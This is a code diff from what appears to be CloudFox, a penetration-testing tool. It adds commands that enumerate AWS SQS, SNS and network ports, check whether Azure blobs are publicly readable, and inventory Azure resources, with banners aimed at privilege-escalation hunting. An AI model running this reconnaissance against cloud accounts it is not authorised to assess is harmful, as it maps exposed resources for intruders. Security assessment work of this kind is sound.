return nil, err
|
||||
}
|
||||
for _, b := range resp.Segment.BlobItems {
|
||||
blobNames = append(blobNames, ptr.ToString(b.Name))
|
||||
}
|
||||
}
|
||||
|
||||
return blobNames, nil
|
||||
}
|
||||
|
||||
func validatePublicBlobURLs(storageAccountName, containerName string, blobNames []string) ([]string, error) {
|
||||
var publicBlobURLs []string
|
||||
|
||||
if blobNames == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
for _, b := range blobNames {
|
||||
blobURL := fmt.Sprintf("https://%s.blob.core.windows.net/%s/%s", storageAccountName, containerName, b)
|
||||
|
||||
response, err := http.Head(blobURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if response.StatusCode == http.StatusOK {
|
||||
publicBlobURLs = append(publicBlobURLs, blobURL)
|
||||
}
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
)
|
||||
|
||||
// TO-DO: add blob URL enumeration to this table test.
|
||||
// This test won't work anymore until blob URL enumeration is added.
|
||||
func TestAzStorageCommand(t *testing.T) {
|
||||
fmt.Println()
|
||||
fmt.Println("[test case] Azure Storage Accounts")
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
[
|
||||
{
|
||||
"storage_account_name": "storagedo89vl86ey",
|
||||
"blob_urls": [
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
|
||||
]
|
||||
},
|
||||
{
|
||||
"storage_account_name": "storagedo89vl86ey",
|
||||
"blob_urls": [
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
|
||||
]
|
||||
}
|
||||
]
|
||||
+11
-1
@@ -50,7 +50,17 @@ func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
|
||||
return tableHead, tableBody
|
||||
}
|
||||
|
||||
func getSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
|
||||
func GetTenantIDPerSubscription(subscriptionID string) *string {
|
||||
subs := getSubscriptions()
|
||||
for _, s := range subs {
|
||||
if ptr.ToString(s.SubscriptionID) == subscriptionID {
|
||||
return s.TenantID
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
|
||||
subs := getSubscriptions()
|
||||
var results []subscriptions.Subscription
|
||||
for _, s := range subs {
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestAzWhoamiCommand(t *testing.T) {
|
||||
@@ -48,3 +49,7 @@ func TestAzWhoamiCommand(t *testing.T) {
|
||||
AzWhoamiCommand(s.version, s.wrapTableOutput)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTest(t *testing.T) {
|
||||
fmt.Println(ptr.ToString(GetTenantIDPerSubscription("4cedc5dd-e3ad-468d-bf66-32e31bdb9148")))
|
||||
}
|
||||
+184
-25
@@ -19,6 +19,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticache"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
|
||||
"github.com/aws/aws-sdk-go-v2/service/fsx"
|
||||
@@ -113,6 +114,28 @@ var (
|
||||
Run: runECRCommand,
|
||||
}
|
||||
|
||||
StoreSQSAccessPolicies bool
|
||||
SQSCommand = &cobra.Command{
|
||||
Use: "sqs",
|
||||
Aliases: []string{},
|
||||
Short: "Enumerate SQS Queues.",
|
||||
Long: "\nUse case examples:\n" +
|
||||
os.Args[0] + " aws sqs --profile readonly_profile",
|
||||
PreRun: awsPreRun,
|
||||
Run: runSQSCommand,
|
||||
}
|
||||
|
||||
StoreSNSAccessPolicies bool
|
||||
SNSCommand = &cobra.Command{
|
||||
Use: "sns",
|
||||
Aliases: []string{},
|
||||
Short: "Enumerate SNS Queues.",
|
||||
Long: "\nUse case examples:\n" +
|
||||
os.Args[0] + " aws sns --profile readonly_profile",
|
||||
PreRun: awsPreRun,
|
||||
Run: runSNSCommand,
|
||||
}
|
||||
|
||||
EKSCommand = &cobra.Command{
|
||||
Use: "eks",
|
||||
Aliases: []string{"EKS", "clusters"},
|
||||
@@ -218,6 +241,16 @@ var (
|
||||
Run: runLambdasCommand,
|
||||
}
|
||||
|
||||
NetworkPortsCommand = &cobra.Command{
|
||||
Use: "network-ports",
|
||||
Aliases: []string{"ports", "networkports"},
|
||||
Short: "Enumerate potentially accessible network ports.",
|
||||
Long: "\nUse case examples:\n" +
|
||||
os.Args[0] + " aws network-ports --profile readonly_profile",
|
||||
PreRun: awsPreRun,
|
||||
Run: runNetworkPortsCommand,
|
||||
}
|
||||
|
||||
OutboundAssumedRolesDays int
|
||||
OutboundAssumedRolesCommand = &cobra.Command{
|
||||
Use: "outbound-assumed-roles",
|
||||
@@ -293,7 +326,8 @@ var (
|
||||
Run: runSecretsCommand,
|
||||
}
|
||||
|
||||
TagsCommand = &cobra.Command{
|
||||
MaxResourcesPerRegion int
|
||||
TagsCommand = &cobra.Command{
|
||||
Use: "tags",
|
||||
Aliases: []string{"tag"},
|
||||
Short: "Enumerate resources with tags.",
|
||||
@@ -341,6 +375,12 @@ func init() {
|
||||
InstancesCommand.Flags().StringVarP(&InstancesFilter, "filter", "t", "all", "[InstanceID | InstanceIDsFile]")
|
||||
InstancesCommand.Flags().BoolVarP(&InstanceMapUserDataAttributesOnly, "userdata", "u", false, "Use this flag to retrieve only the userData attribute from EC2 instances.")
|
||||
|
||||
// SQS module flags
|
||||
SQSCommand.Flags().BoolVarP(&StoreSQSAccessPolicies, "policies", "", false, "Store all flagged access policies along with the output")
|
||||
|
||||
// SNS module flags
|
||||
SNSCommand.Flags().BoolVarP(&StoreSNSAccessPolicies, "policies", "", false, "Store all flagged access policies along with the output")
|
||||
|
||||
// outbound-assumed-roles module flags
|
||||
OutboundAssumedRolesCommand.Flags().IntVarP(&OutboundAssumedRolesDays, "days", "d", 7, "How many days of CloudTrail events should we go back and look at.")
|
||||
|
||||
@@ -352,6 +392,9 @@ func init() {
|
||||
// iam-simulator module flags
|
||||
PermissionsCommand.Flags().StringVar(&PermissionsPrincipal, "principal", "", "Principal Arn")
|
||||
|
||||
// tags module flags
|
||||
TagsCommand.Flags().IntVarP(&MaxResourcesPerRegion, "max-resources-per-region", "m", 0, "Maximum number of resources to enumerate per region. Set to 0 to enumerate all resources.")
|
||||
|
||||
// Global flags for the AWS modules
|
||||
AWSCommands.PersistentFlags().StringVarP(&AWSProfile, "profile", "p", "", "AWS CLI Profile Name")
|
||||
AWSCommands.PersistentFlags().StringVarP(&AWSProfilesList, "profiles-list", "l", "", "File containing a AWS CLI profile names separated by newlines")
|
||||
@@ -376,6 +419,8 @@ func init() {
|
||||
SecretsCommand,
|
||||
Route53Command,
|
||||
ECRCommand,
|
||||
SQSCommand,
|
||||
SNSCommand,
|
||||
EKSCommand,
|
||||
OutboundAssumedRolesCommand,
|
||||
EnvsCommand,
|
||||
@@ -388,6 +433,7 @@ func init() {
|
||||
RAMCommand,
|
||||
TagsCommand,
|
||||
LambdasCommand,
|
||||
NetworkPortsCommand,
|
||||
PmapperCommand,
|
||||
)
|
||||
|
||||
@@ -443,12 +489,11 @@ func runBucketsCommand(cmd *cobra.Command, args []string) {
|
||||
continue
|
||||
}
|
||||
m := aws.BucketsModule{
|
||||
//S3Client: s3.NewFromConfig(utils.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
S3ClientListBucketsInterface: s3.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
S3Client: s3.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
m.PrintBuckets(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -497,6 +542,50 @@ func runECRCommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
}
|
||||
|
||||
func runSQSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m := aws.SQSModule{
|
||||
SQSClient: sqs.NewFromConfig(AWSConfig),
|
||||
|
||||
StorePolicies: StoreSQSAccessPolicies,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
m.PrintSQS(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
}
|
||||
|
||||
func runSNSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version)
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m := aws.SNSModule{
|
||||
SNSClient: sns.NewFromConfig(AWSConfig),
|
||||
|
||||
StorePolicies: StoreSNSAccessPolicies,
|
||||
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
m.PrintSNS(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
}
|
||||
|
||||
func runEKSCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version)
|
||||
@@ -872,12 +961,13 @@ func runTagsCommand(cmd *cobra.Command, args []string) {
|
||||
continue
|
||||
}
|
||||
m := aws.TagsModule{
|
||||
ResourceGroupsTaggingApiClient: resourcegroupstaggingapi.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
ResourceGroupsTaggingApiInterface: resourcegroupstaggingapi.NewFromConfig(AWSConfig),
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
MaxResourcesPerRegion: MaxResourcesPerRegion,
|
||||
}
|
||||
m.PrintTags(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
}
|
||||
@@ -915,7 +1005,7 @@ func runENICommand(cmd *cobra.Command, args []string) {
|
||||
continue
|
||||
}
|
||||
m := aws.ElasticNetworkInterfacesModule{
|
||||
//EC2Client: ec2.NewFromConfig(utils.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
//EC2Client: ec2.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
DescribeNetworkInterfacesClient: ec2.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
|
||||
Caller: *caller,
|
||||
@@ -927,6 +1017,31 @@ func runENICommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
}
|
||||
|
||||
func runNetworkPortsCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
caller, err := internal.AWSWhoami(profile, cmd.Root().Version)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
m := aws.NetworkPortsModule{
|
||||
EC2Client: ec2.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
ECSClient: ecs.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
EFSClient: efs.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
ElastiCacheClient: elasticache.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
ELBv2Client: elasticloadbalancingv2.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
LightsailClient: lightsail.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
RDSClient: rds.NewFromConfig(internal.AWSConfigFileLoader(profile, cmd.Root().Version)),
|
||||
Caller: *caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
Verbosity: Verbosity,
|
||||
}
|
||||
m.PrintNetworkPorts(AWSOutputFormat, AWSOutputDirectory)
|
||||
}
|
||||
}
|
||||
|
||||
func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
for _, profile := range AWSProfiles {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version)
|
||||
@@ -946,6 +1061,7 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
ecsClient := ecs.NewFromConfig(AWSConfig)
|
||||
efsClient := efs.NewFromConfig(AWSConfig)
|
||||
eksClient := eks.NewFromConfig(AWSConfig)
|
||||
elasticacheClient := elasticache.NewFromConfig(AWSConfig)
|
||||
elbClient := elasticloadbalancing.NewFromConfig(AWSConfig)
|
||||
elbv2Client := elasticloadbalancingv2.NewFromConfig(AWSConfig)
|
||||
fsxClient := fsx.NewFromConfig(AWSConfig)
|
||||
@@ -1005,13 +1121,15 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
inventory2.PrintInventoryPerRegion(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
|
||||
tagsMod := aws.TagsModule{
|
||||
ResourceGroupsTaggingApiClient: resourceClient,
|
||||
Caller: *Caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
ResourceGroupsTaggingApiInterface: resourceClient,
|
||||
Caller: *Caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
MaxResourcesPerRegion: 1000,
|
||||
}
|
||||
tagsMod.PrintTags(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
var verbosityOverride int = 1
|
||||
tagsMod.PrintTags(AWSOutputFormat, AWSOutputDirectory, verbosityOverride)
|
||||
|
||||
// Service and endpoint enum section
|
||||
fmt.Printf("[%s] %s\n", cyan(emoji.Sprintf(":fox:cloudfox :fox:")), green("Gathering the info you'll want for your application & service enumeration needs."))
|
||||
@@ -1177,11 +1295,11 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
fmt.Printf("[%s] %s\n", cyan(emoji.Sprintf(":fox:cloudfox :fox:")), green("Arming you with the data you'll need for privesc quests."))
|
||||
|
||||
buckets := aws.BucketsModule{
|
||||
S3ClientListBucketsInterface: s3Client,
|
||||
Caller: *Caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
S3Client: s3Client,
|
||||
Caller: *Caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
buckets.PrintBuckets(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
|
||||
@@ -1219,6 +1337,47 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
}
|
||||
ram.PrintRAM(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
|
||||
networkPorts := aws.NetworkPortsModule{
|
||||
EC2Client: ec2Client,
|
||||
ECSClient: ecsClient,
|
||||
EFSClient: efsClient,
|
||||
ElastiCacheClient: elasticacheClient,
|
||||
ELBv2Client: elbv2Client,
|
||||
LightsailClient: lightsailClient,
|
||||
RDSClient: rdsClient,
|
||||
Caller: *Caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
}
|
||||
networkPorts.PrintNetworkPorts(AWSOutputFormat, AWSOutputDirectory)
|
||||
|
||||
sqsMod := aws.SQSModule{
|
||||
SQSClient: sqsClient,
|
||||
|
||||
StorePolicies: StoreSQSAccessPolicies,
|
||||
|
||||
Caller: *Caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
sqsMod.PrintSQS(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
|
||||
snsMod := aws.SNSModule{
|
||||
SNSClient: snsClient,
|
||||
|
||||
StorePolicies: StoreSNSAccessPolicies,
|
||||
|
||||
Caller: *Caller,
|
||||
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version),
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
snsMod.PrintSNS(AWSOutputFormat, AWSOutputDirectory, Verbosity)
|
||||
|
||||
// IAM privesc section
|
||||
fmt.Printf("[%s] %s\n", cyan(emoji.Sprintf(":fox:cloudfox :fox:")), green("IAM is complicated. Complicated usually means misconfigurations. You'll want to pay attention here."))
|
||||
principals := aws.IamPrincipalsModule{
|
||||
|
||||
+28
-3
@@ -33,7 +33,28 @@ var (
|
||||
Display Available Azure CLI Sessions:
|
||||
./cloudfox az whoami`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
|
||||
err := azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
AzInventoryCommand = &cobra.Command{
|
||||
Use: "inventory",
|
||||
Aliases: []string{"inv"},
|
||||
Short: "Display an inventory table of all resources per location",
|
||||
Long: `
|
||||
Enumerate inventory for a specific tenant:
|
||||
./cloudfox az inventory --tenant TENANT_ID
|
||||
|
||||
Enumerate inventory for a specific subscription:
|
||||
./cloudfox az inventory --subscription SUBSCRIPTION_ID
|
||||
`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzInventoryCommand(AzTenantID, AzSubscriptionID, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
AzRBACCommand = &cobra.Command{
|
||||
@@ -83,7 +104,10 @@ Enumerate storage accounts for a specific subscription:
|
||||
./cloudfox az storage --subscription SUBSCRIPTION_ID
|
||||
`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
err := azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
)
|
||||
@@ -131,5 +155,6 @@ func init() {
|
||||
AzWhoamiCommand,
|
||||
AzRBACCommand,
|
||||
AzInstancesCommand,
|
||||
AzStorageCommand)
|
||||
AzStorageCommand,
|
||||
AzInventoryCommand)
|
||||
}
|
||||
+1
-1
@@ -17,7 +17,7 @@ var AAD_USERS_TEST_FILE string
|
||||
|
||||
// Module names
|
||||
const AZ_WHOAMI_MODULE_NAME = "whoami"
|
||||
const AZ_INTERACTIVE_MENU_MODULE_NAME = "interactive-menu"
|
||||
const AZ_INVENTORY_MODULE_NAME = "inventory"
|
||||
const AZ_INSTANCES_MODULE_NAME = "instances"
|
||||
const AZ_RBAC_MODULE_NAME = "rbac"
|
||||
const AZ_STORAGE_MODULE_NAME = "storage"
|
||||
|
||||
@@ -3,3 +3,4 @@ package globals
|
||||
const CLOUDFOX_USER_AGENT = "cloudfox"
|
||||
const CLOUDFOX_LOG_FILE_DIR_NAME = ".cloudfox"
|
||||
const CLOUDFOX_BASE_DIRECTORY = "cloudfox-output"
|
||||
const LOOT_DIRECTORY_NAME = "loot"
|
||||
@@ -4,10 +4,13 @@ go 1.18
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.2.1
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.6.1
|
||||
github.com/Azure/go-autorest/autorest v0.11.28
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11
|
||||
github.com/aquasecurity/table v1.8.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.3
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.3
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23
|
||||
@@ -21,6 +24,7 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.26.0
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4
|
||||
@@ -43,8 +47,8 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5
|
||||
github.com/aws/smithy-go v1.13.4
|
||||
github.com/bishopfox/awsservicemap v1.0.0
|
||||
github.com/aws/smithy-go v1.13.5
|
||||
github.com/bishopfox/awsservicemap v1.0.1
|
||||
github.com/dominikbraun/graph v0.15.0
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible
|
||||
@@ -56,6 +60,8 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.1 // indirect
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.21 // indirect
|
||||
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6 // indirect
|
||||
@@ -64,12 +70,13 @@ require (
|
||||
github.com/Azure/go-autorest/autorest/validation v0.3.1 // indirect
|
||||
github.com/Azure/go-autorest/logger v0.2.1 // indirect
|
||||
github.com/Azure/go-autorest/tracing v0.6.0 // indirect
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v0.8.1 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.27 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10 // indirect
|
||||
@@ -83,19 +90,22 @@ require (
|
||||
github.com/go-openapi/errors v0.20.3 // indirect
|
||||
github.com/go-openapi/strfmt v0.21.3 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2 // indirect
|
||||
github.com/google/uuid v1.1.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jmespath/go-jmespath v0.4.0 // indirect
|
||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mitchellh/go-homedir v1.1.0 // indirect
|
||||
github.com/mitchellh/mapstructure v1.5.0 // indirect
|
||||
github.com/oklog/ulid v1.3.1 // indirect
|
||||
github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4 // indirect
|
||||
github.com/rivo/uniseg v0.4.3 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
go.mongodb.org/mongo-driver v1.11.0 // indirect
|
||||
golang.org/x/sys v0.2.0 // indirect
|
||||
golang.org/x/term v0.2.0 // indirect
|
||||
golang.org/x/text v0.4.0 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
golang.org/x/net v0.7.0 // indirect
|
||||
golang.org/x/sys v0.5.0 // indirect
|
||||
golang.org/x/term v0.5.0 // indirect
|
||||
golang.org/x/text v0.7.0 // indirect
|
||||
)
|
||||
@@ -38,6 +38,16 @@ cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3f
|
||||
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible h1:oziYcaopbnIKfM69DL05wXdypiqfrUKdxUKrKpynJTw=
|
||||
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4 h1:pqrAR74b6EoR4kcxF7L7Wg2B8Jgil9UUZtMvxhEFqWo=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4/go.mod h1:uGG2W01BaETf0Ozp+QxxKJdMBNRWPdstHG0Fmdwn1/U=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.2.1 h1:T8quHYlUGyb/oqtSTwqlCr1ilJHrDv+ZtpSfo+hm1BU=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.2.1/go.mod h1:gLa1CL2RNE4s7M3yopJ/p0iq5DdY6Yv5ZUt9MTRZOQM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.1 h1:XUNQ4mw+zJmaA2KXzP9JlQiecy1SI+Eog7xVkPiqIbg=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.1/go.mod h1:eWRD7oawr1Mu1sLCawqVc0CUiF43ia3qQMxLscsKQ9w=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0 h1:ECsQtyERDVz3NP3kvDOTLvbQhqWp/x9EsGKtb4ogUr8=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0/go.mod h1:s1tW/At+xHqjNFvWU4G0c0Qv33KOhvbGNj0RCTQDV8s=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.6.1 h1:YvQv9Mz6T8oR5ypQOL6erY0Z5t71ak1uHV4QFokCOZk=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.6.1/go.mod h1:c6WvOhtmjNUWbLfOG1qxM/q0SPvQNSVJvolm+C52dIU=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
|
||||
